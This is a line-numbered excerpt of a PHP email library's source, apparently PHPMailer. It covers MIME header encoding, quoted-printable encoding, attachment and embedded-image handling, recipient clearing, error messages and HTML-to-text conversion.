  5499. break;
  5500.  
  5501. /** @noinspection PhpMissingBreakStatementInspection */
  5502.  
  5503. case 'comment':
  5504.  
  5505. $matchcount = preg_match_all('/[()"]/', $str, $matches);
  5506.  
  5507. // Intentional fall-through
  5508.  
  5509. case 'text':
  5510.  
  5511. default:
  5512.  
  5513. $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  5514.  
  5515. break;
  5516.  
  5517. }
  5518.  
  5519.  
  5520.  
  5521. //There are no chars that need encoding
  5522.  
  5523. if ($matchcount == 0) {
  5524.  
  5525. return ($str);
  5526.  
  5527. }
  5528.  
  5529.  
  5530.  
  5531. $maxlen = 75 - 7 - strlen($this->CharSet);
  5532.  
  5533. // Try to select the encoding which should produce the shortest output
  5534.  
  5535. if ($matchcount > strlen($str) / 3) {
  5536.  
  5537. // More than a third of the content will need encoding, so B encoding will be most efficient
  5538.  
  5539. $encoding = 'B';
  5540.  
  5541. if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  5542.  
  5543. // Use a custom function which correctly encodes and wraps long
  5544.  
  5545. // multibyte strings without breaking lines within a character
  5546.  
  5547. $encoded = $this->base64EncodeWrapMB($str, "\n");
  5548.  
  5549. } else {
  5550.  
  5551. $encoded = base64_encode($str);
  5552.  
  5553. $maxlen -= $maxlen % 4;
  5554.  
  5555. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  5556.  
  5557. }
  5558.  
  5559. } else {
  5560.  
  5561. $encoding = 'Q';
  5562.  
  5563. $encoded = $this->encodeQ($str, $position);
  5564.  
  5565. $encoded = $this->wrapText($encoded, $maxlen, true);
  5566.  
  5567. $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  5568.  
  5569. }
  5570.  
  5571.  
  5572.  
  5573. $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  5574.  
  5575. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  5576.  
  5577.  
  5578.  
  5579. return $encoded;
  5580.  
  5581. }
  5582.  
  5583.  
  5584.  
  5585. /**
  5586.  
  5587. * Check if a string contains multi-byte characters.
  5588.  
  5589. * @access public
  5590.  
  5591. * @param string $str multi-byte text to wrap encode
  5592.  
  5593. * @return boolean
  5594.  
  5595. */
  5596.  
  5597. public function hasMultiBytes($str)
  5598.  
  5599. {
  5600.  
  5601. if (function_exists('mb_strlen')) {
  5602.  
  5603. return (strlen($str) > mb_strlen($str, $this->CharSet));
  5604.  
  5605. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  5606.  
  5607. return false;
  5608.  
  5609. }
  5610.  
  5611. }
  5612.  
  5613.  
  5614.  
  5615. /**
  5616.  
  5617. * Does a string contain any 8-bit chars (in any charset)?
  5618.  
  5619. * @param string $text
  5620.  
  5621. * @return boolean
  5622.  
  5623. */
  5624.  
  5625. public function has8bitChars($text)
  5626.  
  5627. {
  5628.  
  5629. return (boolean)preg_match('/[\x80-\xFF]/', $text);
  5630.  
  5631. }
  5632.  
  5633.  
  5634.  
  5635. /**
  5636.  
  5637. * Encode and wrap long multibyte strings for mail headers
  5638.  
  5639. * without breaking lines within a character.
  5640.  
  5641. * Adapted from a function by paravoid
  5642.  
  5643. * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
  5644.  
  5645. * @access public
  5646.  
  5647. * @param string $str multi-byte text to wrap encode
  5648.  
  5649. * @param string $linebreak string to use as linefeed/end-of-line
  5650.  
  5651. * @return string
  5652.  
  5653. */
  5654.  
  5655. public function base64EncodeWrapMB($str, $linebreak = null)
  5656.  
  5657. {
  5658.  
  5659. $start = '=?' . $this->CharSet . '?B?';
  5660.  
  5661. $end = '?=';
  5662.  
  5663. $encoded = '';
  5664.  
  5665. if ($linebreak === null) {
  5666.  
  5667. $linebreak = $this->LE;
  5668.  
  5669. }
  5670.  
  5671.  
  5672.  
  5673. $mb_length = mb_strlen($str, $this->CharSet);
  5674.  
  5675. // Each line must have length <= 75, including $start and $end
  5676.  
  5677. $length = 75 - strlen($start) - strlen($end);
  5678.  
  5679. // Average multi-byte ratio
  5680.  
  5681. $ratio = $mb_length / strlen($str);
  5682.  
  5683. // Base64 has a 4:3 ratio
  5684.  
  5685. $avgLength = floor($length * $ratio * .75);
  5686.  
  5687.  
  5688.  
  5689. for ($i = 0; $i < $mb_length; $i += $offset) {
  5690.  
  5691. $lookBack = 0;
  5692.  
  5693. do {
  5694.  
  5695. $offset = $avgLength - $lookBack;
  5696.  
  5697. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  5698.  
  5699. $chunk = base64_encode($chunk);
  5700.  
  5701. $lookBack++;
  5702.  
  5703. } while (strlen($chunk) > $length);
  5704.  
  5705. $encoded .= $chunk . $linebreak;
  5706.  
  5707. }
  5708.  
  5709.  
  5710.  
  5711. // Chomp the last linefeed
  5712.  
  5713. $encoded = substr($encoded, 0, -strlen($linebreak));
  5714.  
  5715. return $encoded;
  5716.  
  5717. }
  5718.  
  5719.  
  5720.  
  5721. /**
  5722.  
  5723. * Encode a string in quoted-printable format.
  5724.  
  5725. * According to RFC2045 section 6.7.
  5726.  
  5727. * @access public
  5728.  
  5729. * @param string $string The text to encode
  5730.  
  5731. * @param integer $line_max Number of chars allowed on a line before wrapping
  5732.  
  5733. * @return string
  5734.  
  5735. * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
  5736.  
  5737. */
  5738.  
  5739. public function encodeQP($string, $line_max = 76)
  5740.  
  5741. {
  5742.  
  5743. // Use native function if it's available (>= PHP5.3)
  5744.  
  5745. if (function_exists('quoted_printable_encode')) {
  5746.  
  5747. return quoted_printable_encode($string);
  5748.  
  5749. }
  5750.  
  5751. // Fall back to a pure PHP implementation
  5752.  
  5753. $string = str_replace(
  5754.  
  5755. array('%20', '%0D%0A.', '%0D%0A', '%'),
  5756.  
  5757. array(' ', "\r\n=2E", "\r\n", '='),
  5758.  
  5759. rawurlencode($string)
  5760.  
  5761. );
  5762.  
  5763. return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  5764.  
  5765. }
  5766.  
  5767.  
  5768.  
  5769. /**
  5770.  
  5771. * Backward compatibility wrapper for an old QP encoding function that was removed.
  5772.  
  5773. * @see PHPMailer::encodeQP()
  5774.  
  5775. * @access public
  5776.  
  5777. * @param string $string
  5778.  
  5779. * @param integer $line_max
  5780.  
  5781. * @param boolean $space_conv
  5782.  
  5783. * @return string
  5784.  
  5785. * @deprecated Use encodeQP instead.
  5786.  
  5787. */
  5788.  
  5789. public function encodeQPphp(
  5790.  
  5791. $string,
  5792.  
  5793. $line_max = 76,
  5794.  
  5795. /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  5796.  
  5797. ) {
  5798.  
  5799. return $this->encodeQP($string, $line_max);
  5800.  
  5801. }
  5802.  
  5803.  
  5804.  
  5805. /**
  5806.  
  5807. * Encode a string using Q encoding.
  5808.  
  5809. * @link http://tools.ietf.org/html/rfc2047
  5810.  
  5811. * @param string $str the text to encode
  5812.  
  5813. * @param string $position Where the text is going to be used, see the RFC for what that means
  5814.  
  5815. * @access public
  5816.  
  5817. * @return string
  5818.  
  5819. */
  5820.  
  5821. public function encodeQ($str, $position = 'text')
  5822.  
  5823. {
  5824.  
  5825. // There should not be any EOL in the string
  5826.  
  5827. $pattern = '';
  5828.  
  5829. $encoded = str_replace(array("\r", "\n"), '', $str);
  5830.  
  5831. switch (strtolower($position)) {
  5832.  
  5833. case 'phrase':
  5834.  
  5835. // RFC 2047 section 5.3
  5836.  
  5837. $pattern = '^A-Za-z0-9!*+\/ -';
  5838.  
  5839. break;
  5840.  
  5841. /** @noinspection PhpMissingBreakStatementInspection */
  5842.  
  5843. case 'comment':
  5844.  
  5845. // RFC 2047 section 5.2
  5846.  
  5847. $pattern = '\(\)"';
  5848.  
  5849. // intentional fall-through
  5850.  
  5851. // for this reason we build the $pattern without including delimiters and []
  5852.  
  5853. case 'text':
  5854.  
  5855. default:
  5856.  
  5857. // RFC 2047 section 5.1
  5858.  
  5859. // Replace every high ascii, control, =, ? and _ characters
  5860.  
  5861. $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  5862.  
  5863. break;
  5864.  
  5865. }
  5866.  
  5867. $matches = array();
  5868.  
  5869. if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  5870.  
  5871. // If the string contains an '=', make sure it's the first thing we replace
  5872.  
  5873. // so as to avoid double-encoding
  5874.  
  5875. $eqkey = array_search('=', $matches[0]);
  5876.  
  5877. if (false !== $eqkey) {
  5878.  
  5879. unset($matches[0][$eqkey]);
  5880.  
  5881. array_unshift($matches[0], '=');
  5882.  
  5883. }
  5884.  
  5885. foreach (array_unique($matches[0]) as $char) {
  5886.  
  5887. $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  5888.  
  5889. }
  5890.  
  5891. }
  5892.  
  5893. // Replace every spaces to _ (more readable than =20)
  5894.  
  5895. return str_replace(' ', '_', $encoded);
  5896.  
  5897. }
  5898.  
  5899.  
  5900.  
  5901. /**
  5902.  
  5903. * Add a string or binary attachment (non-filesystem).
  5904.  
  5905. * This method can be used to attach ascii or binary data,
  5906.  
  5907. * such as a BLOB record from a database.
  5908.  
  5909. * @param string $string String attachment data.
  5910.  
  5911. * @param string $filename Name of the attachment.
  5912.  
  5913. * @param string $encoding File encoding (see $Encoding).
  5914.  
  5915. * @param string $type File extension (MIME) type.
  5916.  
  5917. * @param string $disposition Disposition to use
  5918.  
  5919. * @return void
  5920.  
  5921. */
  5922.  
  5923. public function addStringAttachment(
  5924.  
  5925. $string,
  5926.  
  5927. $filename,
  5928.  
  5929. $encoding = 'base64',
  5930.  
  5931. $type = '',
  5932.  
  5933. $disposition = 'attachment'
  5934.  
  5935. ) {
  5936.  
  5937. // If a MIME type is not specified, try to work it out from the file name
  5938.  
  5939. if ($type == '') {
  5940.  
  5941. $type = self::filenameToType($filename);
  5942.  
  5943. }
  5944.  
  5945. // Append to $attachment array
  5946.  
  5947. $this->attachment[] = array(
  5948.  
  5949. 0 => $string,
  5950.  
  5951. 1 => $filename,
  5952.  
  5953. 2 => basename($filename),
  5954.  
  5955. 3 => $encoding,
  5956.  
  5957. 4 => $type,
  5958.  
  5959. 5 => true, // isStringAttachment
  5960.  
  5961. 6 => $disposition,
  5962.  
  5963. 7 => 0
  5964.  
  5965. );
  5966.  
  5967. }
  5968.  
  5969.  
  5970.  
  5971. /**
  5972.  
  5973. * Add an embedded (inline) attachment from a file.
  5974.  
  5975. * This can include images, sounds, and just about any other document type.
  5976.  
  5977. * These differ from 'regular' attachments in that they are intended to be
  5978.  
  5979. * displayed inline with the message, not just attached for download.
  5980.  
  5981. * This is used in HTML messages that embed the images
  5982.  
  5983. * the HTML refers to using the $cid value.
  5984.  
  5985. * @param string $path Path to the attachment.
  5986.  
  5987. * @param string $cid Content ID of the attachment; Use this to reference
  5988.  
  5989. * the content when using an embedded image in HTML.
  5990.  
  5991. * @param string $name Overrides the attachment name.
  5992.  
  5993. * @param string $encoding File encoding (see $Encoding).
  5994.  
  5995. * @param string $type File MIME type.
  5996.  
  5997. * @param string $disposition Disposition to use
  5998.  
  5999. * @return boolean True on successfully adding an attachment
  6000.  
  6001. */
  6002.  
  6003. public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  6004.  
  6005. {
  6006.  
  6007. if (!@is_file($path)) {
  6008.  
  6009. $this->setError($this->lang('file_access') . $path);
  6010.  
  6011. return false;
  6012.  
  6013. }
  6014.  
  6015.  
  6016.  
  6017. // If a MIME type is not specified, try to work it out from the file name
  6018.  
  6019. if ($type == '') {
  6020.  
  6021. $type = self::filenameToType($path);
  6022.  
  6023. }
  6024.  
  6025.  
  6026.  
  6027. $filename = basename($path);
  6028.  
  6029. if ($name == '') {
  6030.  
  6031. $name = $filename;
  6032.  
  6033. }
  6034.  
  6035.  
  6036.  
  6037. // Append to $attachment array
  6038.  
  6039. $this->attachment[] = array(
  6040.  
  6041. 0 => $path,
  6042.  
  6043. 1 => $filename,
  6044.  
  6045. 2 => $name,
  6046.  
  6047. 3 => $encoding,
  6048.  
  6049. 4 => $type,
  6050.  
  6051. 5 => false, // isStringAttachment
  6052.  
  6053. 6 => $disposition,
  6054.  
  6055. 7 => $cid
  6056.  
  6057. );
  6058.  
  6059. return true;
  6060.  
  6061. }
  6062.  
  6063.  
  6064.  
  6065. /**
  6066.  
  6067. * Add an embedded stringified attachment.
  6068.  
  6069. * This can include images, sounds, and just about any other document type.
  6070.  
  6071. * Be sure to set the $type to an image type for images:
  6072.  
  6073. * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
  6074.  
  6075. * @param string $string The attachment binary data.
  6076.  
  6077. * @param string $cid Content ID of the attachment; Use this to reference
  6078.  
  6079. * the content when using an embedded image in HTML.
  6080.  
  6081. * @param string $name
  6082.  
  6083. * @param string $encoding File encoding (see $Encoding).
  6084.  
  6085. * @param string $type MIME type.
  6086.  
  6087. * @param string $disposition Disposition to use
  6088.  
  6089. * @return boolean True on successfully adding an attachment
  6090.  
  6091. */
  6092.  
  6093. public function addStringEmbeddedImage(
  6094.  
  6095. $string,
  6096.  
  6097. $cid,
  6098.  
  6099. $name = '',
  6100.  
  6101. $encoding = 'base64',
  6102.  
  6103. $type = '',
  6104.  
  6105. $disposition = 'inline'
  6106.  
  6107. ) {
  6108.  
  6109. // If a MIME type is not specified, try to work it out from the name
  6110.  
  6111. if ($type == '' and !empty($name)) {
  6112.  
  6113. $type = self::filenameToType($name);
  6114.  
  6115. }
  6116.  
  6117.  
  6118.  
  6119. // Append to $attachment array
  6120.  
  6121. $this->attachment[] = array(
  6122.  
  6123. 0 => $string,
  6124.  
  6125. 1 => $name,
  6126.  
  6127. 2 => $name,
  6128.  
  6129. 3 => $encoding,
  6130.  
  6131. 4 => $type,
  6132.  
  6133. 5 => true, // isStringAttachment
  6134.  
  6135. 6 => $disposition,
  6136.  
  6137. 7 => $cid
  6138.  
  6139. );
  6140.  
  6141. return true;
  6142.  
  6143. }
  6144.  
  6145.  
  6146.  
  6147. /**
  6148.  
  6149. * Check if an inline attachment is present.
  6150.  
  6151. * @access public
  6152.  
  6153. * @return boolean
  6154.  
  6155. */
  6156.  
  6157. public function inlineImageExists()
  6158.  
  6159. {
  6160.  
  6161. foreach ($this->attachment as $attachment) {
  6162.  
  6163. if ($attachment[6] == 'inline') {
  6164.  
  6165. return true;
  6166.  
  6167. }
  6168.  
  6169. }
  6170.  
  6171. return false;
  6172.  
  6173. }
  6174.  
  6175.  
  6176.  
  6177. /**
  6178.  
  6179. * Check if an attachment (non-inline) is present.
  6180.  
  6181. * @return boolean
  6182.  
  6183. */
  6184.  
  6185. public function attachmentExists()
  6186.  
  6187. {
  6188.  
  6189. foreach ($this->attachment as $attachment) {
  6190.  
  6191. if ($attachment[6] == 'attachment') {
  6192.  
  6193. return true;
  6194.  
  6195. }
  6196.  
  6197. }
  6198.  
  6199. return false;
  6200.  
  6201. }
  6202.  
  6203.  
  6204.  
  6205. /**
  6206.  
  6207. * Check if this message has an alternative body set.
  6208.  
  6209. * @return boolean
  6210.  
  6211. */
  6212.  
  6213. public function alternativeExists()
  6214.  
  6215. {
  6216.  
  6217. return !empty($this->AltBody);
  6218.  
  6219. }
  6220.  
  6221.  
  6222.  
  6223. /**
  6224.  
  6225. * Clear queued addresses of given kind.
  6226.  
  6227. * @access protected
  6228.  
  6229. * @param string $kind 'to', 'cc', or 'bcc'
  6230.  
  6231. * @return void
  6232.  
  6233. */
  6234.  
  6235. public function clearQueuedAddresses($kind)
  6236.  
  6237. {
  6238.  
  6239. $RecipientsQueue = $this->RecipientsQueue;
  6240.  
  6241. foreach ($RecipientsQueue as $address => $params) {
  6242.  
  6243. if ($params[0] == $kind) {
  6244.  
  6245. unset($this->RecipientsQueue[$address]);
  6246.  
  6247. }
  6248.  
  6249. }
  6250.  
  6251. }
  6252.  
  6253.  
  6254.  
  6255. /**
  6256.  
  6257. * Clear all To recipients.
  6258.  
  6259. * @return void
  6260.  
  6261. */
  6262.  
  6263. public function clearAddresses()
  6264.  
  6265. {
  6266.  
  6267. foreach ($this->to as $to) {
  6268.  
  6269. unset($this->all_recipients[strtolower($to[0])]);
  6270.  
  6271. }
  6272.  
  6273. $this->to = array();
  6274.  
  6275. $this->clearQueuedAddresses('to');
  6276.  
  6277. }
  6278.  
  6279.  
  6280.  
  6281. /**
  6282.  
  6283. * Clear all CC recipients.
  6284.  
  6285. * @return void
  6286.  
  6287. */
  6288.  
  6289. public function clearCCs()
  6290.  
  6291. {
  6292.  
  6293. foreach ($this->cc as $cc) {
  6294.  
  6295. unset($this->all_recipients[strtolower($cc[0])]);
  6296.  
  6297. }
  6298.  
  6299. $this->cc = array();
  6300.  
  6301. $this->clearQueuedAddresses('cc');
  6302.  
  6303. }
  6304.  
  6305.  
  6306.  
  6307. /**
  6308.  
  6309. * Clear all BCC recipients.
  6310.  
  6311. * @return void
  6312.  
  6313. */
  6314.  
  6315. public function clearBCCs()
  6316.  
  6317. {
  6318.  
  6319. foreach ($this->bcc as $bcc) {
  6320.  
  6321. unset($this->all_recipients[strtolower($bcc[0])]);
  6322.  
  6323. }
  6324.  
  6325. $this->bcc = array();
  6326.  
  6327. $this->clearQueuedAddresses('bcc');
  6328.  
  6329. }
  6330.  
  6331.  
  6332.  
  6333. /**
  6334.  
  6335. * Clear all ReplyTo recipients.
  6336.  
  6337. * @return void
  6338.  
  6339. */
  6340.  
  6341. public function clearReplyTos()
  6342.  
  6343. {
  6344.  
  6345. $this->ReplyTo = array();
  6346.  
  6347. $this->ReplyToQueue = array();
  6348.  
  6349. }
  6350.  
  6351.  
  6352.  
  6353. /**
  6354.  
  6355. * Clear all recipient types.
  6356.  
  6357. * @return void
  6358.  
  6359. */
  6360.  
  6361. public function clearAllRecipients()
  6362.  
  6363. {
  6364.  
  6365. $this->to = array();
  6366.  
  6367. $this->cc = array();
  6368.  
  6369. $this->bcc = array();
  6370.  
  6371. $this->all_recipients = array();
  6372.  
  6373. $this->RecipientsQueue = array();
  6374.  
  6375. }
  6376.  
  6377.  
  6378.  
  6379. /**
  6380.  
  6381. * Clear all filesystem, string, and binary attachments.
  6382.  
  6383. * @return void
  6384.  
  6385. */
  6386.  
  6387. public function clearAttachments()
  6388.  
  6389. {
  6390.  
  6391. $this->attachment = array();
  6392.  
  6393. }
  6394.  
  6395.  
  6396.  
  6397. /**
  6398.  
  6399. * Clear all custom headers.
  6400.  
  6401. * @return void
  6402.  
  6403. */
  6404.  
  6405. public function clearCustomHeaders()
  6406.  
  6407. {
  6408.  
  6409. $this->CustomHeader = array();
  6410.  
  6411. }
  6412.  
  6413.  
  6414.  
  6415. /**
  6416.  
  6417. * Add an error message to the error container.
  6418.  
  6419. * @access protected
  6420.  
  6421. * @param string $msg
  6422.  
  6423. * @return void
  6424.  
  6425. */
  6426.  
  6427. protected function setError($msg)
  6428.  
  6429. {
  6430.  
  6431. $this->error_count++;
  6432.  
  6433. if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  6434.  
  6435. $lasterror = $this->smtp->getError();
  6436.  
  6437. if (!empty($lasterror['error'])) {
  6438.  
  6439. $msg .= $this->lang('smtp_error') . $lasterror['error'];
  6440.  
  6441. if (!empty($lasterror['detail'])) {
  6442.  
  6443. $msg .= ' Detail: '. $lasterror['detail'];
  6444.  
  6445. }
  6446.  
  6447. if (!empty($lasterror['smtp_code'])) {
  6448.  
  6449. $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
  6450.  
  6451. }
  6452.  
  6453. if (!empty($lasterror['smtp_code_ex'])) {
  6454.  
  6455. $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
  6456.  
  6457. }
  6458.  
  6459. }
  6460.  
  6461. }
  6462.  
  6463. $this->ErrorInfo = $msg;
  6464.  
  6465. }
  6466.  
  6467.  
  6468.  
  6469. /**
  6470.  
  6471. * Return an RFC 822 formatted date.
  6472.  
  6473. * @access public
  6474.  
  6475. * @return string
  6476.  
  6477. * @static
  6478.  
  6479. */
  6480.  
  6481. public static function rfcDate()
  6482.  
  6483. {
  6484.  
  6485. // Set the time zone to whatever the default is to avoid 500 errors
  6486.  
  6487. // Will default to UTC if it's not set properly in php.ini
  6488.  
  6489. date_default_timezone_set(@date_default_timezone_get());
  6490.  
  6491. return date('D, j M Y H:i:s O');
  6492.  
  6493. }
  6494.  
  6495.  
  6496.  
  6497. /**
  6498.  
  6499. * Get the server hostname.
  6500.  
  6501. * Returns 'localhost.localdomain' if unknown.
  6502.  
  6503. * @access protected
  6504.  
  6505. * @return string
  6506.  
  6507. */
  6508.  
  6509. protected function serverHostname()
  6510.  
  6511. {
  6512.  
  6513. $result = 'localhost.localdomain';
  6514.  
  6515. if (!empty($this->Hostname)) {
  6516.  
  6517. $result = $this->Hostname;
  6518.  
  6519. } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  6520.  
  6521. $result = $_SERVER['SERVER_NAME'];
  6522.  
  6523. } elseif (function_exists('gethostname') && gethostname() !== false) {
  6524.  
  6525. $result = gethostname();
  6526.  
  6527. } elseif (php_uname('n') !== false) {
  6528.  
  6529. $result = php_uname('n');
  6530.  
  6531. }
  6532.  
  6533. return $result;
  6534.  
  6535. }
  6536.  
  6537.  
  6538.  
  6539. /**
  6540.  
  6541. * Get an error message in the current language.
  6542.  
  6543. * @access protected
  6544.  
  6545. * @param string $key
  6546.  
  6547. * @return string
  6548.  
  6549. */
  6550.  
  6551. protected function lang($key)
  6552.  
  6553. {
  6554.  
  6555. if (count($this->language) < 1) {
  6556.  
  6557. $this->setLanguage('en'); // set the default language
  6558.  
  6559. }
  6560.  
  6561.  
  6562.  
  6563. if (array_key_exists($key, $this->language)) {
  6564.  
  6565. if ($key == 'smtp_connect_failed') {
  6566.  
  6567. //Include a link to troubleshooting docs on SMTP connection failure
  6568.  
  6569. //this is by far the biggest cause of support questions
  6570.  
  6571. //but it's usually not PHPMailer's fault.
  6572.  
  6573. return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
  6574.  
  6575. }
  6576.  
  6577. return $this->language[$key];
  6578.  
  6579. } else {
  6580.  
  6581. //Return the key as a fallback
  6582.  
  6583. return $key;
  6584.  
  6585. }
  6586.  
  6587. }
  6588.  
  6589.  
  6590.  
  6591. /**
  6592.  
  6593. * Check if an error occurred.
  6594.  
  6595. * @access public
  6596.  
  6597. * @return boolean True if an error did occur.
  6598.  
  6599. */
  6600.  
  6601. public function isError()
  6602.  
  6603. {
  6604.  
  6605. return ($this->error_count > 0);
  6606.  
  6607. }
  6608.  
  6609.  
  6610.  
  6611. /**
  6612.  
  6613. * Ensure consistent line endings in a string.
  6614.  
  6615. * Changes every end of line from CRLF, CR or LF to $this->LE.
  6616.  
  6617. * @access public
  6618.  
  6619. * @param string $str String to fixEOL
  6620.  
  6621. * @return string
  6622.  
  6623. */
  6624.  
  6625. public function fixEOL($str)
  6626.  
  6627. {
  6628.  
  6629. // Normalise to \n
  6630.  
  6631. $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  6632.  
  6633. // Now convert LE as needed
  6634.  
  6635. if ($this->LE !== "\n") {
  6636.  
  6637. $nstr = str_replace("\n", $this->LE, $nstr);
  6638.  
  6639. }
  6640.  
  6641. return $nstr;
  6642.  
  6643. }
  6644.  
  6645.  
  6646.  
  6647. /**
  6648.  
  6649. * Add a custom header.
  6650.  
  6651. * $name value can be overloaded to contain
  6652.  
  6653. * both header name and value (name:value)
  6654.  
  6655. * @access public
  6656.  
  6657. * @param string $name Custom header name
  6658.  
  6659. * @param string $value Header value
  6660.  
  6661. * @return void
  6662.  
  6663. */
  6664.  
  6665. public function addCustomHeader($name, $value = null)
  6666.  
  6667. {
  6668.  
  6669. if ($value === null) {
  6670.  
  6671. // Value passed in as name:value
  6672.  
  6673. $this->CustomHeader[] = explode(':', $name, 2);
  6674.  
  6675. } else {
  6676.  
  6677. $this->CustomHeader[] = array($name, $value);
  6678.  
  6679. }
  6680.  
  6681. }
  6682.  
  6683.  
  6684.  
  6685. /**
  6686.  
  6687. * Returns all custom headers.
  6688.  
  6689. * @return array
  6690.  
  6691. */
  6692.  
  6693. public function getCustomHeaders()
  6694.  
  6695. {
  6696.  
  6697. return $this->CustomHeader;
  6698.  
  6699. }
  6700.  
  6701.  
  6702.  
  6703. /**
  6704.  
  6705. * Create a message from an HTML string.
  6706.  
  6707. * Automatically makes modifications for inline images and backgrounds
  6708.  
  6709. * and creates a plain-text version by converting the HTML.
  6710.  
  6711. * Overwrites any existing values in $this->Body and $this->AltBody
  6712.  
  6713. * @access public
  6714.  
  6715. * @param string $message HTML message string
  6716.  
  6717. * @param string $basedir baseline directory for path
  6718.  
  6719. * @param boolean|callable $advanced Whether to use the internal HTML to text converter
  6720.  
  6721. * or your own custom converter @see PHPMailer::html2text()
  6722.  
  6723. * @return string $message
  6724.  
  6725. */
  6726.  
  6727. public function msgHTML($message, $basedir = '', $advanced = false)
  6728.  
  6729. {
  6730.  
  6731. preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  6732.  
  6733. if (array_key_exists(2, $images)) {
  6734.  
  6735. foreach ($images[2] as $imgindex => $url) {
  6736.  
  6737. // Convert data URIs into embedded images
  6738.  
  6739. if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  6740.  
  6741. $data = substr($url, strpos($url, ','));
  6742.  
  6743. if ($match[2]) {
  6744.  
  6745. $data = base64_decode($data);
  6746.  
  6747. } else {
  6748.  
  6749. $data = rawurldecode($data);
  6750.  
  6751. }
  6752.  
  6753. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  6754.  
  6755. if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
  6756.  
  6757. $message = str_replace(
  6758.  
  6759. $images[0][$imgindex],
  6760.  
  6761. $images[1][$imgindex] . '="cid:' . $cid . '"',
  6762.  
  6763. $message
  6764.  
  6765. );
  6766.  
  6767. }
  6768.  
  6769. } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[A-z]+://#', $url)) {
  6770.  
  6771. // Do not change urls for absolute images (thanks to corvuscorax)
  6772.  
  6773. // Do not change urls that are already inline images
  6774.  
  6775. $filename = basename($url);
  6776.  
  6777. $directory = dirname($url);
  6778.  
  6779. if ($directory == '.') {
  6780.  
  6781. $directory = '';
  6782.  
  6783. }
  6784.  
  6785. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  6786.  
  6787. if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  6788.  
  6789. $basedir .= '/';
  6790.  
  6791. }
  6792.  
  6793. if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  6794.  
  6795. $directory .= '/';
  6796.  
  6797. }
  6798.  
  6799. if ($this->addEmbeddedImage(
  6800.  
  6801. $basedir . $directory . $filename,
  6802.  
  6803. $cid,
  6804.  
  6805. $filename,
  6806.  
  6807. 'base64',
  6808.  
  6809. self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  6810.  
  6811. )
  6812.  
  6813. ) {
  6814.  
  6815. $message = preg_replace(
  6816.  
  6817. '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  6818.  
  6819. $images[1][$imgindex] . '="cid:' . $cid . '"',
  6820.  
  6821. $message
  6822.  
  6823. );
  6824.  
  6825. }
  6826.  
  6827. }
  6828.  
  6829. }
  6830.  
  6831. }
  6832.  
  6833. $this->isHTML(true);
  6834.  
  6835. // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  6836.  
  6837. $this->Body = $this->normalizeBreaks($message);
  6838.  
  6839. $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  6840.  
  6841. if (empty($this->AltBody)) {
  6842.  
  6843. $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  6844.  
  6845. self::CRLF . self::CRLF;
  6846.  
  6847. }
  6848.  
  6849. return $this->Body;
  6850.  
  6851. }
  6852.  
  6853.  
  6854.  
  6855. /**
  6856.  
  6857. * Convert an HTML string into plain text.
  6858.  
  6859. * This is used by msgHTML().
  6860.  
  6861. * Note - older versions of this function used a bundled advanced converter
  6862.  
  6863. * which was been removed for license reasons in #232
  6864.  
  6865. * Example usage:
  6866.  
  6867. * <code>
  6868.  
  6869. * // Use default conversion
  6870.  
  6871. * $plain = $mail->html2text($html);
  6872.  
  6873. * // Use your own custom converter
  6874.  
  6875. * $plain = $mail->html2text($html, function($html) {
  6876.  
  6877. * $converter = new MyHtml2text($html);
  6878.  
  6879. * return $converter->get_text();
  6880.  
  6881. * });
  6882.  
  6883. * </code>
  6884.  
  6885. * @param string $html The HTML text to convert
  6886.  
  6887. * @param boolean|callable $advanced Any boolean value to use the internal converter,
  6888.  
  6889. * or provide your own callable for custom conversion.
  6890.  
  6891. * @return string
  6892.  
  6893. */
  6894.  
  6895. public function html2text($html, $advanced = false)
  6896.  
  6897. {
  6898.  
  6899. if (is_callable($advanced)) {
  6900.  
  6901. return call_user_func($advanced, $html);
  6902.  
  6903. }
  6904.  
  6905. return html_entity_decode(
  6906.  
  6907. trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  6908.  
  6909. ENT_QUOTES,
  6910.  
  6911. $this->CharSet
  6912.  
  6913. );
  6914.  
  6915. }
  6916.  
  6917.  
  6918.  
  6919. /**
